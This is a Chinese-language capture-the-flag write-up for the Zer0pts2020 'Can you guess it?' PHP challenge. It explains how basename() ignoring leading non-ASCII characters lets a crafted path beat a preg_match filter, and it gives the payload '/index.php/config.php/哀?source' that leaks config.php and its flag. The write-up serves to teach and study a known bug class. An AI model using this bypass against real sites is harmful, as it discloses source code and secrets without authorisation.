[Zer0pts2020]Can you guess it?
首页长这样
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>
这个guess显然是没必要guess了，再怎么guess都guess不出来的啦（摊手）
尝试这个source查询的可行性
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
重点是这个此地无银三百两的$_SERVER['PHP_SELF']到底是干啥子的
目的是让basename($_SERVER['PHP_SELF'])为config.php
开头的过滤
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
匹配config.php和后面任意多个/到行尾
默认区域设置中，basename 会忽略开头的非ASCII字符
构造payload
/index.php/config.php?source
利用basename函数的问题尝试修改，以绕过preg_match
/index.php/config.php/哀?source
<?php
define('FLAG', 'flag{d26cb9ed-4893-418c-a451-e306c00ead33}');